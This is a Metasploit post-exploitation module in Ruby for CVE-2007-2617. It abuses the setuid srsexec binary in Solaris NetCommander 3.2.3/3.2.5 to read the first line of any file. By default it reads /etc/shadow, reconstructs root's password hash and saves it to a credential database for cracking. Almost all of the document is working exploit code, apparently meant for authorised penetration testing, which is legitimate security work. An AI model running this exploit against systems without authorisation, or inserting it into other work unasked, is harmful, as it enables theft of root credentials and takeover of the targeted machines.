##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Solaris::System
  include Msf::Post::Solaris::Priv

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Solaris srsexec Arbitrary File Reader',
        'Description' => %q{
          This module exploits a vulnerability in NetCommander 3.2.3 and 3.2.5.
          When srsexec is executed in debug (-d) verbose (-v) mode,
          the first line of an arbitrary file can be read due to the suid bit set.
          The most widely accepted exploitation vector is reading /etc/shadow,
          which will reveal root's hash for cracking.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # metasploit module
          'iDefense' # discovery reported anonymously to https://labs.idefense.com
        ],
        'Platform' => [ 'solaris' ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'References' => [
          ['CVE', '2007-2617'],
          ['URL', 'https://download.oracle.com/sunalerts/1000443.1.html'],
          ['URL', 'https://www.securityfocus.com/archive/1/468235'],
          ['EDB', '30021'],
          ['BID', '23915']
        ],
        'DisclosureDate' => '2007-05-07',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
    register_options([
      OptString.new('FILE', [true, 'File to read the first line of', '/etc/shadow'])
    ])
  end

  def suid_bin_path
    '/opt/SUNWsrspx/bin/srsexec'
  end

  def check
    if is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges')
    end

    # This ls is based on the guidance in the sun alerts article
    unin = cmd_exec '/usr/bin/ls /opt/SUNWsrspx/bin/UninstallNetConnect.*.sh'
    unin =~ /UninstallNetConnect\.([\d.]{11})\.sh/
    unless ::Regexp.last_match(1)
      print_error('NetConnect uninstall not found, either not installed or too new')
      return false
    end

    version = Rex::Version.new(::Regexp.last_match(1).split('.').map(&:to_i).join('.'))
    unless version.between?(Rex::Version.new('3.2.3'), Rex::Version.new('3.2.4'))
      print_error "#{version} is not vulnerable"
      return false
    end
    print_good("#{version} is vulnerable")

    unless setuid?(suid_bin_path)
      vprint_error("#{suid_bin_path} is not setuid, it must have been manually patched")
      return false
    end

    true
  end

  def run
    unless check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    flag = Rex::Text.rand_text_alpha(5)
    output = cmd_exec("#{suid_bin_path} -dvb #{datastore['FILE']} #{flag}")
    vprint_good("Raw Command Output: #{output}")

    # The first line of the file is cut at 20 characters.
    # If the output is longer than 20 characters, then
    # the next line will start with the last 2 characters from the previous line,
    # followed by the next 18 characters.

    formatted_output = output.scan(/binaries file line: (.+)$/).flatten.map do |line|
      (line.length == 20) ? line[0..17] : line
    end.join

    return if formatted_output.empty?

    print_good("First line of #{datastore['FILE']}: #{formatted_output}")

    return unless datastore['FILE'] == '/etc/shadow'

    print_good("Adding root's hash to the credential database.")
    credential_data = {
      origin_type: :session,
      session_id: session_db_id,
      workspace_id: myworkspace_id,
      post_reference_name: fullname,
      username: formatted_output.split(':')[0],
      private_data: formatted_output.split(':')[1],
      private_type: :nonreplayable_hash
    }
    create_credential(credential_data)
  end
end
